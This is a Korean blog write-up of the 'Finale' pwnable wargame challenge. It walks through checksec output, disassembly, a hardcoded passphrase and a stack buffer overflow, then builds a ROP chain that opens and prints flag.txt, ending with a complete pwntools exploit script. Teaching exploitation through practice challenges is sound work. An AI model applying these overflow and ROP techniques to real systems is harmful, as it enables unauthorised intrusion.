오랜만에 쓰는 write up입니다
요즘 pwnable 공부 중이라서 어렵게 풀어봤습니다
1. 분석

[*] '/wargame/Finale/challenge/finale'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- Canary, PIE 없음
우선 실행해보면 아래와 같이 입력이 나옵니다
root@user-utuntu:/wargame/Finale/challenge# ./finale
Let's celebrate Spooktober!!!
▝ ▝▘
▝▗▗ ▝
▞▚▘▝ ▝ ▗
▘ ▖ ▛▌ ▘
▗ ▀ ▖ ▝
▖
▝ ▗▙ ▝ ▝▝
▘ ▜ ▄▖
▝▛▙ ▗▄
▗▖ ▘
▖▖ ▘ ▗▗▚▚▚▘ ▖▖ ▖
▝▐▐▐ ▜▜▟▗
▗▗ ▝▘ ▘ ▗▚ ▝▜▞
▖▝ ▖ ▞▖
▘ ▐▜▘
▝▀▘ ▗▌ ▗ ▗▖
▄ ▗ ▄ ▝▞▞▖
▗▄▄ ▖ ▗ ▗ ▘
▗▐▛▙█▄ ▖ ▖ ▗ ▘ ▝
▗▜ ██▜▜▜▖▖ ▗ ▞▝ ▖ ▗
▗▝▛▙▝▐███▙ ▝▝ ▖▘▖
▛▖▀▟▄▖▘▛▌▀ ▀▘ ▗
▗▘▜▜▖▝▟▞▘ ▘ ▞ ▘
▛▙ ▜▞▀ ▝
▗▌▐▀▀
▞▀
[Strange man in mask screams some nonsense]: �)�!�9�
[Strange man in mask]: In order to proceed, tell us the secret phrase:
main 함수를 보면 어떤 문자와 비교하고 있는데, 이 문자가 하드코딩 되어있어서 금방 파악할 수 있습니다
0x0000000000401479 <+230>: lea rax,[rbp-0x40]
0x000000000040147d <+234>: mov edx,0xf
0x0000000000401482 <+239>: lea rsi,[rip+0x1514] # 0x40299d
0x0000000000401489 <+246>: mov rdi,rax
0x000000000040148c <+249>: call 0x401030 <strncmp@plt>
pwndbg> x/s 0x40299d
0x40299d: "s34s0nf1n4l3b00"
맞는 문자인 경우, finale라는 함수를 실행하며 여기서 stack의 주소를 알려줍니다.
또한 read할 때 0x1000이라는 큰 값을 받기 때문에 Stack BOF가 발생합니다.
pwndbg> disassem finale
Dump of assembler code for function finale:
0x0000000000401315 <+0>: push rbp
0x0000000000401316 <+1>: mov rbp,rsp
0x0000000000401319 <+4>: sub rsp,0x40
0x000000000040131d <+8>: lea rax,[rbp-0x40]
0x0000000000401321 <+12>: mov rsi,rax
# 0x402810 = \n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]
0x0000000000401324 <+15>: lea rdi,[rip+0x14e5] # 0x402810
0x000000000040132b <+22>: mov eax,0x0
0x0000000000401330 <+27>: call 0x401060 <printf@plt>
0x0000000000401335 <+32>: lea rdi,[rip+0x1534] # 0x402870
0x000000000040133c <+39>: mov eax,0x0
0x0000000000401341 <+44>: call 0x401060 <printf@plt>
0x0000000000401346 <+49>: mov rax,QWORD PTR [rip+0x2cd3] # 0x404020 <stdin@GLIBC_2.2.5>
0x000000000040134d <+56>: mov rdi,rax
0x0000000000401350 <+59>: call 0x4010c0 <fflush@plt>
0x0000000000401355 <+64>: mov rax,QWORD PTR [rip+0x2cb4] # 0x404010 <stdout@GLIBC_2.2.5>
0x000000000040135c <+71>: mov rdi,rax
0x000000000040135f <+74>: call 0x4010c0 <fflush@plt>
# Stack BOF 발생
0x0000000000401364 <+79>: lea rax,[rbp-0x40]
0x0000000000401368 <+83>: mov edx,0x1000
0x000000000040136d <+88>: mov rsi,rax
0x0000000000401370 <+91>: mov edi,0x0
0x0000000000401375 <+96>: call 0x401090 <read@plt>
0x000000000040137a <+101>: mov edx,0x54
0x000000000040137f <+106>: lea rsi,[rip+0x152a] # 0x4028b0
0x0000000000401386 <+113>: mov edi,0x1
0x000000000040138b <+118>: call 0x401050 <write@plt>
0x0000000000401390 <+123>: nop
0x0000000000401391 <+124>: leave
0x0000000000401392 <+125>: ret
End of assembler dump.
2. chaining gadget
NX 때문에 stack에 shell code를 넣기보다는 gadget을 사용해야 합니다
PIE가 비활성화 되어 있으므로 파일 내의 함수를 사용하는게 간편하지만, main와 finale 외에 만든 함수는 없으므로 plt를 보면 아래와 같습니다.
pwndbg> plt
Section .plt 0x401020-0x401110:
0x401030: strncmp@plt
0x401040: puts@plt
0x401050: write@plt
0x401060: printf@plt
0x401070: alarm@plt
0x401080: close@plt
0x401090: read@plt
0x4010a0: srand@plt
0x4010b0: time@plt
0x4010c0: fflush@plt
0x4010d0: setvbuf@plt
0x4010e0: open@plt
0x4010f0: __isoc99_scanf@plt
0x401100: rand@plt
flag.txt는 같은 디렉토리에 있는 파일이므로, open으로 파일을 열고 read와 write 혹은 print를 쓰면 금방 풀릴 것 처럼 보입니다.
하지만 이 문제의 gadget을 살펴보면, rdx를 조작할 수 있는 마땅한 gadget이 없습니다.(rdx는 파일에서 읽어 올 문자열의 길이)
운이 좋으면 큰 값이 자동으로 들어가 있을 수 있지만, 실제로 실행해보면 거의 0 상태입니다
따라서 finale 함수에 있는 아래의 gadget을 사용할 것입니다
Dump of assembler code for function finale:
...
0x000000000040137a <+101>: mov edx,0x54
0x000000000040137f <+106>: lea rsi,[rip+0x152a] # 0x4028b0
0x0000000000401386 <+113>: mov edi,0x1
0x000000000040138b <+118>: call 0x401050 <write@plt>
0x0000000000401390 <+123>: nop
0x0000000000401391 <+124>: leave
0x0000000000401392 <+125>: ret
edx에 0x54가 삽입됩니다
여기서 조금 유념해야 할 게, leave가 있기 때문에 rbp를 잘 맞춰줘야 합니다
이후에는 read, print 혹은 write gadget을 사용하면 되지만, main함수에 있는 gadget을 사용하려고 합니다
rdi, rsi, rdx값을 적절하게 맞춰주고 마지막에 main+71 부분부터 실행 할 겁니다
그럼 자동으로 읽어오고 print까지 수행해줍니다
Dump of assembler code for function main:
...
0x00000000004013c6 <+51>: mov DWORD PTR [rbp-0xc],eax
0x00000000004013c9 <+54>: lea rcx,[rbp-0x20]
0x00000000004013cd <+58>: mov eax,DWORD PTR [rbp-0xc]
0x00000000004013d0 <+61>: mov edx,0x8
0x00000000004013d5 <+66>: mov rsi,rcx
0x00000000004013d8 <+69>: mov edi,eax
=> 0x00000000004013da <+71>: call 0x401090 <read@plt>
0x00000000004013df <+76>: lea rax,[rbp-0x20]
0x00000000004013e3 <+80>: mov rsi,rax
0x00000000004013e6 <+83>: lea rdi,[rip+0x152b] # 0x402918
0x00000000004013ed <+90>: mov eax,0x0
0x00000000004013f2 <+95>: call 0x401060 <printf@plt>
읽은 내용을 rbp-0x20에 저장하기 때문에, rbp를 적절한 값으로 조작해야 합니다
결론은 아래의 flow를 따릅니다
open('flag.txt', 0, ...) => finale+101 (rdx = 0x54) => main+71 (read, print)
3. exploit
우선 finale 함수를 실행하기 위해 암호를 입력합니다
p.sendlineafter(b': ', b's34s0nf1n4l3b00')
문제에서 제공하는 stack 주소를 추출합니다
p.recvuntil(b': [')
stack = int(p.recvline()[:-2], 16)
success(hex(stack))
페이로드 최상단에 flag.txt를 입력합니다. 이제 flag.txt 문자열이 저장된 주소는 위에서 추출한 stack의 주소가 됩니다
이후에 rbp 위치까지 dummy를 입력합니다
# payload
pa = b'flag.txt\x00' # open에 쓸 문자열
pa = pa.ljust(0x40, b'A')
rbp 위치에 stack에서 0x78 떨어진 위치를 입력합니다 (이유는 후술)
pa += p64(stack+0x78)
rdi에 stack 주소를 입력(flag.txt 가 저장되어 있음), rsi를 O_RDONLY 설정해서 flag.txt 파일을 엽니다
rdi와 rsi는 각각 pop rdi; ret 와 pop rsi; ret gadget의 주소입니다
# open(flag.txt, 0, ...)
pa += p64(rdi)
pa += p64(stack)
pa += p64(rsi)
pa += p64(0)
pa += p64(e.plt['open'])
finale+101 위치로 이동합니다
pa += p64(0x40137a)
finale+101 는 아래의 flow를 따르면서 leave를 수행하게 됩니다
Dump of assembler code for function finale:
...
0x000000000040137a <+101>: mov edx,0x54
0x000000000040137f <+106>: lea rsi,[rip+0x152a] # 0x4028b0
0x0000000000401386 <+113>: mov edi,0x1
0x000000000040138b <+118>: call 0x401050 <write@plt>
0x0000000000401390 <+123>: nop
0x0000000000401391 <+124>: leave
0x0000000000401392 <+125>: ret
마지막에 leave를 실행할 텐데, leave는 mov rsp, rbp; pop rbp 입니다.
위에서 우리가 rbp값을 stack+0x78로 설정한 이유가 이것입니다. 이어지는 payload의 위치가 stack+0x78입니다
우리는 여기에 data 섹션인 0x404520으로 설정하겠습니다 (이유는 후술). pop rbp가 되므로 이제부터 rbp는 0x404520입니다.
pa += p64(0x404520) <= 이곳의 위치가 stack+0x78
이제 ret가 실행 될 차례니 다음 실행 주소를 입력해야 합니다.
read 함수에 들어갈 인자들을 맞춰야 하는데, read(fd=rdi, buf=rsi, 0x54=rdx) 로 진행 될 예정이며 rdx는 이미 맞춰져 있습니다
로컬에서 진행할 땐 fd가 3일텐데,서버는 socket을 열고 client를 기다리는 형식이어서 Docker를 열고 디버깅을 해보면 flag.txt의 fd가 5로 나옵니다. 따라서 rdi를 5로 맞춰줍니다.
socket으로 열린 서버가 아닌 실행 파일로 테스트 중이라면 이 부분을 3으로 바꿔야 합니다.
pa += p64(rdi)
pa += p64(5)
다음은 rsi를 맞춰줘서 원하는 주소에 값이 쓰여야 합니다.
쓰기 권한이 있는 부분을 보면, DATA 섹션에 쓰기 권한이 있습니다. stack에 써도 되지만 헷갈리니까 DATA 섹션의 중간 위치를 지정합니다.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 /home/ctf/finale
0x401000 0x402000 r-xp 1000 1000 /home/ctf/finale
0x402000 0x403000 r--p 1000 2000 /home/ctf/finale
0x403000 0x404000 r--p 1000 3000 /home/ctf/finale
0x404000 0x405000 rw-p 1000 4000 /home/ctf/finale => DATA
따라서 rsi에 0x404500을 입력합니다
pa += p64(rsi)
pa += p64(0x404500)
이제 main+71으로 이동합니다.
pa += p64(ret) # alignment 맞추기 위한 gadget
pa += p64(0x4013da)
main+71은 아래와 같이 진행됩니다. read가 끝나면 print가 실행되기 전에 rbp-0x20의 값을 rsi로 지정하고 있습니다.
우리는 파일 내용을 저장한 DATA 섹션의 0x404500를 가리키도록 해야하므로, rbp는 0x404520이어야 합니다. 그래서 위에서 rbp를 0x404520로 지정한 것입니다.
Dump of assembler code for function main:
...
0x00000000004013c6 <+51>: mov DWORD PTR [rbp-0xc],eax
0x00000000004013c9 <+54>: lea rcx,[rbp-0x20]
0x00000000004013cd <+58>: mov eax,DWORD PTR [rbp-0xc]
0x00000000004013d0 <+61>: mov edx,0x8
0x00000000004013d5 <+66>: mov rsi,rcx
0x00000000004013d8 <+69>: mov edi,eax
=> 0x00000000004013da <+71>: call 0x401090 <read@plt>
0x00000000004013df <+76>: lea rax,[rbp-0x20]
0x00000000004013e3 <+80>: mov rsi,rax
0x00000000004013e6 <+83>: lea rdi,[rip+0x152b] # 0x402918
0x00000000004013ed <+90>: mov eax,0x0
0x00000000004013f2 <+95>: call 0x401060 <printf@plt>
payload 전문은 아래와 같습니다.
from pwn import *
#context.log_level = 'debug'
#p = process('./finale')
p = remote('127.0.0.1', 9001)
e = ELF('./finale')
p.sendlineafter(b': ', b's34s0nf1n4l3b00')
# gadget
rdi = 0x00000000004011f2 # pop rdi ; ret
rsi = 0x00000000004011f4 # pop rsi ; ret
ret = 0x0000000000401016 # ret
# stack address
p.recvuntil(b': [')
stack = int(p.recvline()[:-2], 16)
success(hex(stack))
# payload
pa = b'flag.txt\x00'
pa = pa.ljust(0x40, b'A')
pa += p64(stack+0x78)
# open(flag.txt, 0, ...)
pa += p64(rdi)
pa += p64(stack)
pa += p64(rsi)
pa += p64(0)
pa += p64(e.plt['open'])
# finale+101 : rdx = 0x54
pa += p64(0x40137a)
# stack+0x78 > rbp
pa += p64(0x404520)
# ret address
# rdi = 5
pa += p64(rdi)
pa += p64(5)
# rsi = 0x404500
pa += p64(rsi)
pa += p64(0x404500)
pa += p64(ret)
# main+71
pa += p64(0x4013da)
#pause()
p.sendafter(b': ', pa)
p.interactive()
4. get FLAG

이렇게 하면 되는 문제였습니다
저는 사실 삽질을 진짜 진짜 많이 했습니다.. libc leak도 해보고 (system 함수를 실행해봤는데 왜 안됐는지는 의문이나 안됐음..) 마지막엔 서버에서만 안돼서 디버깅 해보니 fd가 5였던....
이게 easy라니 말도 안됨
'write-up > Wargame' 카테고리의 다른 글
| [HackTheBox] Why Lambda write-up (0) | 2024.02.11 |
|---|
댓글